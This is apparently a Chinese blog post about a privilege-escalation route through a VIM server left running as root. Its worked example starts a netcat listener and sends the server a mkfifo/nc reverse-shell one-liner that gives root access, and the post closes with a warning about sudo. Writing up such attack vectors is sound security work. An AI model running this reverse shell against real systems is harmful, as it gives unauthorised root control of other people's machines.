背景
近期创建了一种新的工作流,就是使用 VIM 的 Server-Client 模式。在这个模式下,所有打开的文件会被发送到同一个 VIM 窗口。这样的好处很明显,如果有多个窗口在编辑文件,就需要到处切换,找想要的文件,现在不用到处找了,都汇总在一起。我会使用
--remote-tab
在新的
vim tab
中加载新文件,这样非常直观,方便管理。
但是有一个问题,就是非
root
用户运行的
vim server
,是不能编辑系统文件的(也就是所属用户是 root)。解决方法是,要使用
sudo
来运行
vim server
,这样会带来如下的安全隐患。
问题
仔细想一下,如果
vim
被设置了
suid
,那么可以被用来提权。这里面的道理就是你可以以
root
的身份来运行
vim
。其本质就和
root
运行
vim server
一样了。
vim server
有这样的特性,如果你运行一个
vim server
:
vim --servername SAMPLESRV
但是你在关闭终端窗口的时候,没有退出
vim
,那么这个
vim server
进程就会保持在后台继续运行,就像一个
daemon
。

更糟糕的是,
vim server
可以开启多个,他们都可以在不同进程共存。
所谓安全问题最薄弱的一环是人,只要人一疏忽,就会留下很大的安全漏洞。就比如说,忘记清除以
root
身份运行的
vim server
。
实例论证
假设你已经以低权限进入了目标主机,然后查看所有进程发现有一个
vim server
以
root
身份运行。
那么很简单,就像
vim
内可以使用
:!cmd
运行任意系统命令,
vim server
也可以通过
--remote-send
特性,来执行系统命令。例如:
vim --servername SAMPLESRV --remote-send ":split filename"
那么 vim 就会以水平分割的方式打开新文件。
综上,就可以通过向
vim server
发送系统命令来获取
root
权限的
reverse shell
。
本机监听目标端口:
nc -lvnp 9999
然后向目标机器上以
root
身份运行的
vim server
发送命令。
vim --servername SAMPLESRV --remote-send ":! rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i | nc ip 9999 > /tmp/f<Enter>"
就能获取目标机器的
reverse shell
,权限
root
。
总结
好像没有多少人这样使用 vim,但是既然存在,那么也是一个
attack vector
。
总之,无论什么系统命令,在涉及会生成服务进程的时候,一定要小心小心再小心地使用
sudo
。